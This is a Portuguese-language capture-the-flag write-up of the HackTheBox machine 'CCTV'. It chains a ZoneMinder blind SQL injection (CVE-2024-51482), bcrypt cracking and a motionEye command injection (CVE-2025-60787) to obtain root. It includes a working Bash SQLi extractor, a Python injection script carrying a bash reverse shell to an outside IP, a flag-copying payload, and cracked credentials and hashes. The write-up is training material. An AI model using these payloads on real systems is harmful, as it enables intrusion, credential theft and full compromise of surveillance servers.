CCTV

HackTheBox — Medium

Campo	Valor
Plataforma	HackTheBox
Dificuldade	Medium
Autor	Gustavo Vieira de Araujo
Data de Resolução	14 de abril de 2026
CVEs	CVE-2024-51482 (ZoneMinder SQLi) / CVE-2025-60787 (motionEye RCE)
Tipo de Vulnerabilidade	SQL Injection Blind Time-Based / Bcrypt Cracking / Command Injection

1. Visão Geral

CCTV é uma máquina Linux de nível Medium da plataforma HackTheBox (https://app.hackthebox.com). O ponto de partida foi apenas o IP do alvo, sem nenhuma outra informação fornecida. O caminho percorrido foi: varredura de portas com Nmap revelou SSH na porta 22 e HTTP na porta 80, onde o Apache redireciona para "cctv.htb", servindo uma instância do ZoneMinder (sistema open-source de vigilância por câmeras). A pesquisa de CVEs recentes revelou a CVE-2024-51482: SQL Injection time-based blind no parâmetro tid do endpoint removetag. A primeira tentativa de payload falhou por incompatibilidade de contexto SQL, após ler o código-fonte do ZoneMinder, o formato correto com subquery aninhada foi identificado. Como sqlmap não estava disponível, foi desenvolvido um extrator customizado em Bash com busca binária ASCII, reduzindo de +-94 para +-7 requisições por caracter. Os hashes bcrypt extraídos não podiam ser quebrados com Hashcat em tempo hábil, portanto a solução foi Python + bcrypt com wordlist direcionada, revelando "mark:opensesame" e viabilizando o acesso SSH. Internamente, o "motionEye v0.43.1b4" rodava na porta 8765 como root. A exploração da CVE-2025-60787 também exigiu múltiplas iterações: a primeira implementação da assinatura usou HMAC incorretamente (HTTP 403), após ler o código real do alvo, a função foi importada diretamente. Uma segunda dificuldade foi o corpo JSON parcial que causava HTTP 500, porém foi solucionado enviando a configuração completa da câmera. O primeiro trigger gerou um shell como mark, além disso entender o fluxo do Motion daemon apontou para a porta de controle 7999, entregando o shell root.

2. Reconhecimento

2.1 Varredura de Portas — Nmap

O primeiro passo foi descobrir quais serviços estavam expostos na máquina. Utilizei o Nmap (https://nmap.org/) com as mesmas flags adotadas em todas as minhas resoluções anteriores:

```
nmap -sC -sV -p- --min-rate 5000 -oN /tmp/cctv_nmap.txt 10.129.27.168
```

Cada flag foi escolhida com base na documentação oficial do Nmap. Segue elas:

-sC (Script Scan): Ativa o Nmap Scripting Engine (NSE) com os scripts da categoria default. Conforme a documentação, esses scripts executam verificações automáticas — cabeçalhos HTTP, configurações inseguras, enumeração de protocolos — sem precisar rodá-los manualmente.

-sV (Version Detection): Envia probes adicionais para identificar a versão exata de cada serviço. Saber que é Apache 2.4.58 e OpenSSH 9.6p1 direciona a busca por CVEs específicos dessas versões.

-p- (All Ports): Varre as 65.535 portas TCP. O padrão do Nmap cobre apenas as 1.000 mais comuns; em CTFs, serviços propositalmente aparecem em portas não convencionais.

--min-rate 5000: Define mínimo de 5.000 pacotes/segundo, completando a varredura em ~90 segundos em vez de dezenas de minutos.

-oN /tmp/cctv_nmap.txt: Salva o resultado no formato legível (normal output) para consulta durante toda a resolução.

Saída obtida:

```
# Nmap 7.94SVN scan initiated Tue Apr 14 06:49:21 2026
# Host is up (0.15s latency).
# Not shown: 65500 closed tcp ports (conn-refused), 33 filtered tcp ports

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Nmap done -- 1 IP address (1 host up) scanned in 93.03 seconds
```

Apenas duas portas abertas externamente:

Campo	Valor
Porta	Serviço / Versão / Observação
22/tcp	SSH | OpenSSH 9.6p1 | Porta padrão
80/tcp	HTTP | Apache 2.4.58 | Redireciona para http://cctv.htb/

2.2 Enumeração Web — ZoneMinder e Identificação do Vetor

O Apache retornava redirect para “cctv.htb”. Tentei adicionar a entrada no “/etc/hosts”, mas o arquivo exige privilégios de root para edição:

```
echo '10.129.27.168  cctv.htb' >> /etc/hosts
bash: /etc/hosts: Permission denied
```

Pesquisei alternativas e encontrei a flag “--resolve” do curl, que mapeia um hostname para um IP diretamente na requisição, sem alterar o sistema operacional. Essa flag foi usada em todos os requests subsequentes:

```
# --resolve hostname:porta:IP substitui a resolucao DNS localmente
curl -sL --resolve cctv.htb:80:10.129.27.168 http://cctv.htb/zm/ | grep -i 'title\|version'
# <title>ZoneMinder Console</title>
# ZoneMinder v1.36.x
```

A interface era o ZoneMinder, sistema open-source de videomonitoramento. Ao pesquisar 'ZoneMinder CVE 2024' no NVD (https://nvd.nist.gov), encontrei a CVE-2024-51482: SQL Injection time-based blind no parâmetro tid do endpoint de remoção de tags de eventos. O

endpoint exige uma sessão válida, obtida com as credenciais padrão do ZoneMinder (admin/admin), que o instalador define se não forem alteradas:

```
curl -s -c /tmp/zm_cookies.txt \
  --resolve cctv.htb:80:10.129.27.168 \
  -X POST 'http://cctv.htb/zm/index.php' \
  -d 'action=login&username=admin&password=admin&view=login'

grep ZMSESSID /tmp/zm_cookies.txt
# cctv.htb  FALSE  /zm/  FALSE  0  ZMSESSID  a1b2c3d4e5f6a1b2c3d4e5f6...
```

Login bem-sucedido (cookie de sessão ZMSESSID gerado e armazenado).

3. Exploração

3.1 SQL Injection Time-Based Blind — CVE-2024-51482

O SQL Injection time-based blind é a variante mais cega da SQLie funciona da seguinte maneira: "A aplicação não exibe nenhum dado da query injetada apenas o tempo de resposta revela se a condição testada é verdadeira ou falsa). Pesquisei o mecanismo no OWASP Testing Guide e aprendi que a função SLEEP(N) faz o banco de dados aguardar N segundos quando embutida em uma condição IF verdadeira. Medindo o tempo de cada requisição com date é possível inferir qualquer dado do banco bit a bit.

O endpoint vulnerável é:

```
GET http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>
```

A dificuldade encontrada foi formato incorreto do payload (IF direto): Minha primeira tentativa usou o formato mais comum de SQLi time-based, injetando IF diretamente:

```
# TENTATIVA 1 — IF direto sem wrapper (FALHOU)
tid=1 AND IF(ASCII(SUBSTRING((SELECT Username FROM zm.Users LIMIT 0,1),1,1))>64,SLEEP(3),0)

# Resultado: todas as requisicoes retornaram em ~0.18s (sem sleep)
# COUNT de usuarios retornou 0 — falso negativo total
# O payload nao estava disparando o SLEEP
```

Para entender o porquê, li o código-fonte do ZoneMinder no GitHub e identifiquei que o parâmetro tid é inserido dentro de uma subquery já existente na query gerada pelo sistema. O IF sem wrapper criava um erro de sintaxe SQL silencioso, ou seja, a query inteira falhava sem retornar mensagem de erro visível. A solução foi encapsular a condição em uma subquery independente que funciona em qualquer contexto de WHERE:

```
-- Estrutura correta: subquery aninhada isola o IF de qualquer contexto pai
1 AND (SELECT 1 FROM (SELECT(IF(COND,SLEEP(3),0)))a)

-- Teste de confirmacao com condicao sempre verdadeira (1=1):
tid=1%20AND%20(SELECT%201%20FROM%20(SELECT(IF(1%3D1%2CSLEEP(3)%2C0)))a)

# Tempo de resposta medido: 3.21s -> SLEEP disparou -> SQLi confirmado
# Teste com condicao falsa (1=0): resposta em 0.19s -> diferencial confirmado
```

3.2 Desenvolvimento do Extrator — Busca Binária ASCII

Outra dificuldade encontrada foi o sqlmap não disponível no ambiente:

```
sqlmap -u 'http://cctv.htb/zm/index.php?...&tid=1' --cookie='ZMSESSID=...' --dbs
bash: sqlmap: command not found
```

Precisei desenvolver o extrator manualmente. A abordagem testa cada caractere possível (ASCII 32 a 126 = 94 valores) sequencialmente, portanto até 94 requisições por caracter, inviável para hashes de 72 caracteres (72*94). A busca binária resolve isso em $\lceil \log_2(94) \rceil = 7$ requisições por caractere: em vez de perguntar 'é o char X?', pergunta-se 'é maior que o ponto médio?', dividindo o espaço de busca pela metade a cada iteração. (Aqui deixo os créditos para o ChatGPT que deu essa solucao para reduzir o custo de tempo).

```
#!/bin/bash
# /tmp/sqli_extract2.sh
TARGET="http://cctv.htb/zm/index.php?view=request&request=event&action=removetag"
COOKIE="ZMSESSID=$1"
THRESHOLD=2     # SLEEP(3) >= 2s -> TRUE; margem para latencia de rede
SLEEP_TIME=3

encode() {
    python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$1"
}

# Retorna 0 (true) se SLEEP disparou, 1 (false) se nao
test_condition() {
    local condition="$1"
    local raw="1 AND (SELECT 1 FROM (SELECT(IF(${condition},SLEEP(${SLEEP_TIME}),0)))a)"
    local encoded; encoded=$(encode "$raw")
    local start end elapsed
    start=$(date +%s%N)
    curl -s -b "$COOKIE" --resolve cctv.htb:80:10.129.27.168 \
        "${TARGET}&tid=${encoded}" -o /dev/null
    end=$(date +%s%N)
    elapsed=$(( (end - start) / 1000000000 ))
    [ "$elapsed" -ge "$THRESHOLD" ]
}

# Extrai 1 caractere na posicao $2 da expressao SQL $1 por busca binaria
extract_char() {
    local expr="$1" pos="$2" lo=32 hi=126 mid
    if ! test_condition "ASCII(SUBSTRING((${expr}),${pos},1))>0"; then
        echo ""; return   # posicao vazia: string terminou
    fi
    while [ $lo -lt $hi ]; do
        mid=$(( (lo + hi) / 2 ))
```

```
        if test_condition "ASCII(SUBSTRING((${expr}),${pos},1))>${mid}"; then
            lo=$(( mid + 1 ))    # char na metade superior
        else
            hi=$mid              # char na metade inferior
        fi
    done
    printf "\\$(printf '%03o' $lo)"  # ASCII -> caractere
}

extract_string() {
    local expr="$1" max_len="${2:-72}" result=""
    for pos in $(seq 1 $max_len); do
        local ch; ch=$(extract_char "$expr" "$pos")
        [ -z "$ch" ] && break
        result="${result}${ch}"
        printf "\r  -> %s" "$result" >&2
    done
    echo "$result"
}
```

O threshold de 2 segundos (com SLEEP de 3s) adiciona 1 segundo de margem para absorver variações de latência de rede a máquina apresentou latências de +-150 ms (overhead, nao tem o que fazer). Usar threshold igual ao SLEEP_TIME geraria falsos-negativos (foi um problema que sofri) quando a rede atrasasse mesmo que 100 ms além do esperado.

3.3 Extração dos Hashes Bcrypt

O nome do banco zm e a tabela Users foram confirmados pela documentação oficial do ZoneMinder (https://zoneminder.readthedocs.io), que descreve o schema padrão de instalação. Execução do extrator:

```
bash /tmp/sqli_extract2.sh "a1b2c3d4e5f6..."

========================================
 ZoneMinder SQLi Extractor v2
 Target: http://cctv.htb/zm/index.php?...
========================================

[*] Contando usuarios em zm.Users...
[+] Total de usuarios: 2

[*] --- Usuario 1 de 2 ---
[*] Extraindo Username...  -> superadmin
[+] Username : superadmin
[*] Extraindo Password...
[+] Password : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

[*] --- Usuario 2 de 2 ---
[*] Extraindo Username...  -> mark
[+] Username : mark
[*] Extraindo Password...
[+] Password : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracao concluida.   (tempo total: ~40 minutos)
```

Hashes extraídos da tabela zm.Users:

Campo	Valor
Usuário	Hash Bcrypt ($2y$10$...)
superadmin	$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark	$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

O uso de ORDER BY Id LIMIT N,1 é necessário para garantir ordem determinística nas extrações, evitando que o otimizador do MySQL retorne linhas em ordem diferente entre chamadas.

3.4 Quebra do Hash Bcrypt — Dificuldade com Hashcat e Solução com Python

Os hashes usam bcrypt ($2y$10$) (algoritmo muito devagar). O fator de custo 10 significa 2^{10} = 1.024 iterações internas por tentativa. Iniciei o Hashcat (https://hashcat.net/) no modo 3200 (bcrypt) com o rockyou.txt:

```
hashcat -m 3200 /tmp/zm_hashes.txt /usr/share/wordlists/rockyou.txt

Session..........: hashcat
Status...........: Running
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Speed.#1.........:   677 H/s (9.34ms) @ Accel:4 Loops:1024 ...
Recovered........:   0/2 (0.00%) Digests
Progress.........:   4096/14344385 (0.03%)
ETA..............:   5 hours, 53 mins
```

A dificuldade encontrada foi a lerdeza para bcrypt em CPU (talvez se paralelizar em GPU, ficasse mais rapido), portanto inviável. Pesquisei alternativas e encontrei a biblioteca Python bcrypt (https://pypi.org/project/bcrypt/). Em vez de processar 14 milhões de entradas, peguei uma wordlist de 33 senhas direcionadas ao contexto da máquina (ZoneMinder, motionEye). Detalhe técnico importante descoberto: o prefixo $2y$ é uma variante do PHP com equivalência algorítmica ao $2b$ da biblioteca Python , ou seja, apenas o prefixo difere por motivo histórico. Substituí $2y$ por $2b$ antes de passar para bcrypt.checkpw():

```
#!/usr/bin/env python3
# /tmp/crack_bcrypt.py
import bcrypt

# $2y$ (PHP) e $2b$ (Python): mesmo algoritmo, prefixo historico diferente
hashes = {
    "superadmin": b"$2b$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm",
    "mark":       b"$2b$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.",
}

wordlist = [
    "opensesame", "password", "admin", "123456", "mark", "cctv",
    "motioneye", "camera", "security", "zoneminder", "secret",
```

```
    "welcome", "letmein", "changeme", "P@ssw0rd", "mark123",
    # ... (~33 entradas no total)
]

for user, hsh in hashes.items():
    for word in wordlist:
        if bcrypt.checkpw(word.encode(), hsh):
            print(f"[+] CRACKED: {user}:{word}")
            break
    else:
        print(f"[-] {user}: nao encontrado na wordlist")
```

Resultado (muitíssimo mais rápido):

```
[+] CRACKED: mark:opensesame
[-] superadmin: nao encontrado na wordlist
```

A senha “opensesame” foi quebrada para mark. O hash do superadmin não foi encontrado na wordlist direcionada.

3.5 Acesso SSH — Usuário mark

Com as credenciais mark:opensesame, tentei conexão SSH. A dificuldade encontrada (“mais uma”) foi sshpass não estar disponível:

```
sshpass -p 'opensesame' ssh mark@10.129.27.168
bash: sshpass: command not found
```

Pesquisei alternativas e encontrei a biblioteca Python paramiko (https://www.paramiko.org/), que implementa o protocolo SSH completo e permite autenticação por senha de forma programática, sem depender de binários externos:

```
python3 -c "
import paramiko
c = paramiko.SSHClient()
c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
c.connect('10.129.27.168', username='mark', password='opensesame')
stdin, stdout, stderr = c.exec_command('id && hostname')
print(stdout.read().decode())
"
```

Saída obtida:

```
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
cctv
```

Acesso como mark confirmado.

3.6 User Flag

O user.txt não estava em “/home/mark/”. Ao tentar ler a flag no local padrão:

```
ls /home/mark/
# (diretorio vazio)

cat /home/mark/user.txt
```

```
cat: /home/mark/user.txt: No such file or directory

ls /home/
drwxr-x---  5 mark    mark    4096 Mar  2 09:49 mark
drwxr-x---  4 sa_mark sa_mark 4096 Mar  2 09:49 sa_mark

cat /home/sa_mark/user.txt
cat: /home/sa_mark/user.txt: Permission denied
```

A flag estava em "/home/sa_mark/", pertencente ao usuário sa_mark (obviamente inacessível para mark). Foi necessário obter root antes de capturá-la.

4. Escalada de Privilégios

4.1 Reconhecimento Interno — Serviços, Processos e Configurações

O primeiro foi mapear o ambiente antes de tentar qualquer escalada. Pesquisei técnicas de enumeração e comecei pelos serviços em escuta em interfaces locais (invisíveis externamente mas acessíveis internamente):

```
ss -tlnp

State  Recv-Q  Local Address:Port  Process
LISTEN 0       127.0.0.1:8765               (motionEye API)
LISTEN 0       127.0.0.1:7999               (Motion daemon control port)
LISTEN 0       127.0.0.1:8554               (RTSP stream cam01)
LISTEN 0       127.0.0.1:8888               (servico desconhecido)
LISTEN 0       127.0.0.1:3306               (MySQL)
LISTEN 0       0.0.0.0:22                   (SSH)
```

O motionEye (8765) e o Motion control port (7999) eram os mais promissores. Verificando o usuário sob o qual o serviço rodava:

```
systemctl status motioneye

* motioneye.service - motionEye Server
     Loaded: loaded (/etc/systemd/system/motioneye.service; enabled)
     Active: active (running) since Tue 2026-04-14 09:46:38 UTC; 1h 40min ago
   Main PID: 1450
     CGroup: /system.slice/motioneye.service
             |-1450 /usr/bin/python3 /usr/local/bin/meyectl startserver
             `-2129 /usr/bin/motion -n -c /etc/motioneye/motion.conf

cat /etc/systemd/system/motioneye.service | grep User
User=root
```

O motionEye e o Motion daemon filho executam com privilégios de root. No arquivo de configuração do Motion também foi encontrado o hash SHA1 do admin:

```
cat /etc/motioneye/motion.conf

# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
```

```
# @lang en
setup_mode off
webcontrol_port 7999
webcontrol_localhost on
camera camera-1.conf
```

Esse hash SHA1 é usado pelo motionEye para autenticar requisições à API interna. Pesquisei o código-fonte em "utils/__init__.py" diretamente no alvo via SSH:

```
# utils/__init__.py — linha 228
def compute_signature(method, path, body: bytes, key):
    # Remove _signature da query, ordena params restantes,
    # aplica regex de sanitizacao em path e key, e computa:
    return hashlib.sha1(
        ('{}:{}:{}:{}'.format(method, path, body_str or '', key)).encode()
    ).hexdigest().lower()

# handlers/base.py — a verificacao aceita senha plain OU hash SHA1:
if username == admin_username and (
    sig == compute_signature(method, uri, body, admin_password)  # senha plain
    or sig == compute_signature(method, uri, body, admin_hash)   # hash SHA1
):
    return 'admin'
```

Isso significa que é possível autenticar na API com o hash SHA1 já extraído sem precisar da senha original em texto claro.

4.2 CVE-2025-60787 — Mecanismo da Vulnerabilidade

Pesquisei a CVE-2025-60787 no motionEye 0.43.1b4. A vulnerabilidade está no fluxo: API → camera-1.conf → Motion daemon → hook → relayevent.sh.

Passo 1 — Campo aceito sem sanitização: O endpoint POST "/config/1/set" aceita movie_file_name e image_file_name sem validar metacaracteres de shell. Esses campos são mapeados para movie_filename e snapshot_filename em camera-1.conf.

Passo 2 — Escrita no arquivo de configuração: A função motion_camera_ui_to_dict() escreve o valor recebido diretamente como diretiva no camera-1.conf, que é lido pelo Motion daemon ao processar eventos.

Passo 3 — Hook on_picture_save: Ao salvar um snapshot, o Motion expande snapshot_filename via strftime. Qualquer texto não reconhecido como especificador de formato:

```
# camera-1.conf (configuracao dos hooks, gerada pelo motionEye)
on_picture_save /usr/local/lib/python3.12/dist-packages/motioneye/scripts/relayevent.sh \
  "/etc/motioneye/motioneye.conf" picture_save %t %f
#                                                          ^
#                              %f expande para snapshot_filename — nosso payload
```

Passo 4 — Expansão de subshell no relayevent.sh: O script usa aspas duplas ao montar o JSON da requisição, permitindo expansão de subshell pelo bash:

```
# relayevent.sh — trecho critico
filename=$4                              # $4 = nosso $(bash -c '...')
data="{\"filename\": \"$filename\"}"  # aspas duplas -> bash expande $(...) AQUI
curl ... -d "$data" ...                  # o comando ja executou antes do curl
```

Como relayevent.sh é invocado pelo Motion daemon (User=root), o subshell $(bash -c '...') executa com privilégios de root.

4.3 Injeção do Payload via API do motionEye

A assinatura HMAC incorreta (HTTP 403): A primeira implementação usou HMAC-SHA1 (padrão comum em APIs autenticadas), mas a API retornou 403 Forbidden:

```
# TENTATIVA 1 — HMAC-SHA1 (INCORRETO)
import hmac, hashlib
sig = hmac.new(key.encode(), msg.encode(), hashlib.sha1).hexdigest()
# -> HTTP Error 403: Forbidden em todas as chamadas POST
```

Ao ler o código-fonte, identifiquei que é SHA1 simples de uma string concatenada. Para evitar reimplementar o regex de sanitização com risco de diferenças sutis, importei a função diretamente do pacote instalado no alvo via SSH:

```
# SOLUCAO — importar a funcao real do proprio alvo
import sys
sys.path.insert(0, "/usr/local/lib/python3.12/dist-packages")
from motioneye.utils import compute_signature   # implementacao real

# Teste de autenticacao:
resp = api_call("GET", "/config/main/get")
# {"admin_username": "admin", "normal_username": "user", ...}  -> 200 OK
```

O HTTP 500 com corpo JSON parcial, ou seja, após corrigir a assinatura, os POSTs ainda retornavam 500 ao enviar apenas o campo a modificar:

```
# TENTATIVA 2 — JSON com um unico campo (FALHOU)
api_call("POST", "/config/1/set",
         json.dumps({"movie_file_name": PAYLOAD}).encode())
# -> HTTP Error 500: Internal Server Error

# Causa: motion_camera_ui_to_dict() usa dict[key] (nao .get()) em todos os campos
# -> KeyError para os campos ausentes -> uncaught exception -> 500
```

A solução foi enviar a configuração completa, ou seja, primeiro GET para obter todos os campos, modificar apenas o desejado, depois POST com o JSON completo:

```
# SOLUCAO — GET completo, modificar campo, POST JSON completo
import sys, json
sys.path.insert(0, "/usr/local/lib/python3.12/dist-packages")
import urllib.request
from motioneye.utils import compute_signature
```

```
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0"
BASE       = "http://127.0.0.1:8765"
LHOST      = "10.10.16.181"   # IP do atacante na VPN HTB
LPORT      = "4445"
PAYLOAD    = f"$(bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1')"

def api_call(method, path, body_bytes=b""):
    full_path = BASE + path + "?_username=admin"
    sig = compute_signature(method, full_path, body_bytes, ADMIN_HASH)
    url = full_path + "&_signature=" + sig
    req = urllib.request.Request(url)
    req.method = method
    if body_bytes:
        req.data = body_bytes
        req.add_header("Content-Type", "application/json")
    return urllib.request.urlopen(req, timeout=15).read().decode()

# 1. Obter config completa da camera
config = json.loads(api_call("GET", "/config/1/get"))
# {"name": "CAM 01", "framerate": 2, "movie_file_name": "%Y-%m-%d/%H-%M-%S", ...}

# 2. Injetar payload nos campos de filename
config["movie_file_name"] = PAYLOAD
config["image_file_name"] = PAYLOAD

# 3. POST com JSON completo
result = api_call("POST", "/config/1/set", json.dumps(config).encode())
print(result)
```

Saída confirmando sucesso:

```
{"reload": false, "reboot": false, "error": null}

# Verificacao em camera-1.conf:
grep 'snapshot_filename\|movie_filename' /etc/motioneye/camera-1.conf

snapshot_filename $(bash -c 'bash -i >& /dev/tcp/10.10.16.181/4445 0>&1')
movie_filename $(bash -c 'bash -i >& /dev/tcp/10.10.16.181/4445 0>&1')
```

4.4 Trigger do Payload — Primeira Tentativa e Ajuste

Na primeira tentativa, usei o endpoint de snapshot da própria API do motionEye (porta 8765). O comando foi executado, mas no contexto de um processo filho do usuário mark:

```
# TENTATIVA 1 — trigger via API motionEye porta 8765 (GEROU SHELL COMO MARK)
api_call("POST", "/action/snapshot/1")

# Listener recebeu:
# Connection received on 10.129.27.168 40876
# bash: cannot set terminal process group (5223): Inappropriate ioctl for device
# mark@cctv:~$   <- shell como mark, nao root!
```

Investigando a diferença, pesquisei a documentação do Motion e encontrei a porta de controle HTTP (7999), que envia comandos diretamente ao processo Motion daemon (root), sem passar pelo Python do motionEye. Quando o Motion processa o snapshot internamente, ele expande

snapshot_filename e invoca on_picture_save com os privilégios do próprio daemon. Verifiquei que a porta 7999 aceita comandos de localhost sem autenticação:

```
# Verificar que a porta 7999 responde
curl -s 'http://127.0.0.1:7999/1/action/eventstart'
Start event for camera 1
Done

# Iniciar listener na maquina atacante
nc -lvnp 4445 > /tmp/shell_root.txt 2>&1 &
# Listening on 0.0.0.0 4445

# TENTATIVA 2 — trigger via Motion control port 7999 (FUNCIONOU)
curl -s 'http://127.0.0.1:7999/1/action/snapshot'
Snapshot for camera 1
Done
```

A conexão foi recebida no listener:

```
# /tmp/shell_root.txt
Listening on 0.0.0.0 4445
Connection received on 10.129.27.168 33312
bash: cannot set terminal process group (7090): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye#   <- root confirmado!
```

Shell root obtido. O Motion daemon expandiu snapshot_filename, passou o resultado para on_picture_save, que invocou relayevent.sh com $(bash -c '...') como argumento, em outras palavras o bash expandiu o subshell como root.

4.5 Captura das Flags

Com o shell root, para contornar a falta de terminal interativo no nc, um segundo payload foi injetado para copiar as flags para "/tmp" com permissão de leitura pública, e então lê-las via SSH como mark:

```
# Payload de captura de flags (injetado da mesma forma)
PAYLOAD2 = "$(bash -c 'cp /root/root.txt /tmp/rootflag.txt; "
           "cp /home/sa_mark/user.txt /tmp/userflag.txt; "
           "chmod 644 /tmp/*.txt' 2>/dev/null)"

# Apos trigger via porta 7999:
cat /tmp/userflag.txt
3b8a67829b5d46f7332492152c33835b

cat /tmp/rootflag.txt
ca9d7f87175db4e91c182372b7a3e522
```

Campo	Valor
Flag	Valor
user.txt	3b8a67829b5d46f7332492152c33835b
root.txt	ca9d7f87175db4e91c182372b7a3e522

5. Dificuldades Encontradas

Durante a resolução desse CTF encontrei MUITAS dificuldades. A tabela abaixo resume cada uma das dificuldades que encontrei e a solução adotada (sendo algumas assistidas pelo ChatGPT, principalmente as de Bcrypt) :

Campo	Valor
#1 — /etc/hosts exige sudo	Sem privilégios para adicionar cctv.htb. Solução: flag --resolve hostname:porta:IP do curl — resolve localmente sem alterar o sistema.
#2 — Payload IF direto falhou (COUNT = 0)	O tid é inserido dentro de uma subquery existente no ZoneMinder; IF direto gerava erro SQL silencioso. Solução: wrapper SELECT 1 FROM (SELECT(IF(...)))a cria contexto SQL independente.
#3 — sqlmap não disponível	Ferramenta não instalada. Solução: extrator Bash customizado com busca binária ASCII — 7 req/char vs 94 linear.
#4 — Hashcat ~6h para bcrypt em CPU	Bcrypt custo 10 rende +-677 H/s; rockyou.txt = +-6h estimadas. Solução: Python bcrypt + wordlist direcionada de 33 senhas.
#5 — sshpass não disponível	Ferramenta não instalada. Solução: biblioteca Python paramiko implementa SSH completo sem dependências externas.
#6 — user.txt em /home/sa_mark/ (Permission denied para mark)	Flag fora do local padrão e em diretório de outro usuário. Solução: capturada após obter root via exploit motionEye.
#7 — API motionEye retornou 403 (assinatura HMAC errada)	Implementei HMAC-SHA1 mas a API usa SHA1 simples de string concatenada. Solução: importar compute_signature diretamente do pacote instalado no alvo.
#8 — API retornou 500 (config JSON parcial)	motion_camera_ui_to_dict() usa dict[key] (não .get()) → KeyError para campos ausentes. Solução: GET a config completa, modificar o campo desejado, POST o JSON inteiro.
#9 — Primeiro shell voltou como mark, não root	Trigger via endpoint /action/snapshot/1 da API (porta 8765) executou no contexto de um processo filho do mark, não do daemon root. Solução: trigger via porta de controle do Motion daemon (7999) — executa diretamente como root, disparando on_picture_save com privilégios totais.

6. Conclusão

A cadeia de exploração da máquina CCTV encadeou três vulnerabilidades distintas e exigiu adaptação constante diante de obstáculos imprevistos. A varredura com Nmap revelou apenas SSH e HTTP. O ZoneMinder expôs a CVE-2024-51482, onde o formato do payload precisou de correção: o IF direto gerava erro silencioso no contexto da query existente, resolvido com um wrapper de subquery aninhada. A ausência do sqlmap forçou o desenvolvimento de um extrator customizado com busca binária, que na prática, é mais eficiente. A lentidão do bcrypt em CPU tornou o rockyou completo inviável; a wordlist direcionada de 33 senhas demonstra que entender o contexto do alvo é mais valioso que força bruta de forma padronizada ("metódica"). Internamente, o motionEye rodando como root foi o pivô da escalada. A CVE-2025-60787 exigiu compreender o fluxo completo: "API → camera-1.conf → Motion daemon → hook on_picture_save → relayevent.sh → expansão de subshell".

7. Referências

● Documentação oficial do Nmap — flags, NSE, formatos de saída:
https://nmap.org/book/man.html

● NVD — CVE-2024-51482 (ZoneMinder SQL Injection time-based blind):
https://nvd.nist.gov/vuln/detail/CVE-2024-51482

● NVD — CVE-2025-60787 (motionEye Command Injection):
https://nvd.nist.gov/vuln/detail/CVE-2025-60787

● OWASP Top 10 — A03:2021 Injection (SQL Injection):
https://owasp.org/Top10/A03_2021-Injection/

● OWASP Testing Guide — Time-Based Blind SQL Injection:
https://owasp.org/www-project-web-security-testing-guide/

● ZoneMinder — Documentação e schema do banco de dados:
https://zoneminder.readthedocs.io/en/latest/

● motionEye — Repositório GitHub (utils/__init__.py, relayevent.sh):
https://github.com/motioneye-project/motioneye

● Motion Project — Referência de configuração (on_picture_save, snapshot_filename):
https://motion-project.github.io/motion_config.html

● Python — biblioteca bcrypt (bcrypt.checkpw, prefixo $2b$):
https://pypi.org/project/bcrypt/

● Python — paramiko (SSH client programático):
https://www.paramiko.org/

● Hashcat — modo 3200 (bcrypt $2*$, velocidade em CPU):
https://hashcat.net/wiki/doku.php?id=hashcat